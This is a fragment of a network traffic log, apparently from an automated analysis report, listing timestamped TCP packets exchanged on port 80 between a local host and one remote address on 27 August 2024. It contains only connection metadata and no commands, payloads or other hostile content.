Aug 27, 2024 20:12:07.384865999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384877920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384884119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384888887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384896040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384907007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384907961 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384913921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384924889 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384955883 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.384991884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.384999037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385004044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385010004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385020971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385034084 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385051966 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385071039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385134935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385142088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385153055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385159016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385164976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385170937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385175943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385181904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385195017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385221958 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385297060 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385476112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385482073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385493040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385498047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385503054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385509014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385515928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385632992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385639906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385646105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385651112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385651112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385651112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385654926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385660887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385667086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385677099 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385678053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385684013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385690928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385696888 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385704041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.385732889 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.385752916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.386096001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.386102915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.386115074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.386120081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.386132002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.386137962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.386163950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.386203051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.386230946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.386236906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.386281967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.468475103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468555927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468561888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468616962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.468636990 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.468647003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468652964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468664885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468671083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468707085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.468729973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468735933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468748093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468755007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468786001 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.468806982 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.468988895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.468995094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.469007969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.469018936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.469026089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.469049931 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.469069958 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.469100952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.469108105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.469120026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.469161034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.475702047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.475717068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.475722075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.475754023 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.475780010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.475944996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.475951910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.475991011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.475996971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476007938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476008892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476036072 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476115942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476123095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476135015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476140976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476176977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476214886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476219893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476232052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476244926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476269960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476284027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476320028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476371050 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476380110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476387024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476435900 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476461887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476466894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476478100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476495028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476500988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476507902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476644993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476644993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476679087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476685047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476696014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476701021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476715088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476720095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476732969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476738930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476744890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476747036 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476751089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476758003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.476773024 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476798058 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.476963997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477030039 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.477056026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477061987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477072954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477078915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477089882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477103949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477116108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477116108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.477123976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477130890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477137089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477143049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477144003 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.477170944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.477180004 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.477583885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477590084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477592945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477598906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477608919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477613926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477619886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477632046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477638960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477643013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477649927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477652073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.477655888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477669001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477709055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.477709055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.477722883 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.477891922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477902889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477905035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477910995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477921009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477926970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477938890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.477960110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.477991104 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.478049994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478055954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478068113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478072882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478086948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478101015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478106976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478111982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478111982 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.478117943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478128910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478132010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.478133917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478141069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478147030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478149891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.478153944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478159904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478166103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478172064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478178978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478182077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478185892 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.478216887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.478753090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478759050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478770971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.478813887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.506736040 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.512350082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.693991899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694047928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694061995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694092035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694092989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694118023 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694149017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694175005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694188118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694197893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694211006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694221020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694257975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694277048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694313049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694396019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694407940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694418907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694437981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694442034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694451094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694461107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694463015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694499016 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694515944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694614887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694628000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694680929 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694758892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694770098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694781065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694792986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694804907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694807053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694816113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694828033 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694832087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694843054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694854021 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694855928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.694889069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.694914103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695101976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695120096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695131063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695144892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695159912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695190907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695197105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695208073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695219040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695231915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695240974 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695242882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695255995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695264101 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695266008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695276976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695288897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695291042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695318937 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695336103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695846081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695857048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695868015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695878983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695890903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695894957 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695903063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695914984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695919991 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695926905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695940018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695950985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695960045 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.695966959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695980072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.695996046 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696016073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696206093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696217060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696227074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696244001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696249962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696255922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696265936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696269035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696280956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696293116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696304083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696317911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696329117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696330070 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696338892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696350098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696362019 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696362972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696374893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696392059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696396112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696403980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696414948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696423054 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696428061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696439028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.696444035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696463108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.696485996 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.843590975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.843626022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:07.849313974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:07.849539995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.083453894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.083537102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.104676962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.111332893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.296530962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.296550989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.296561003 CEST	80	49710	147.45.47.253	192.168.2.6
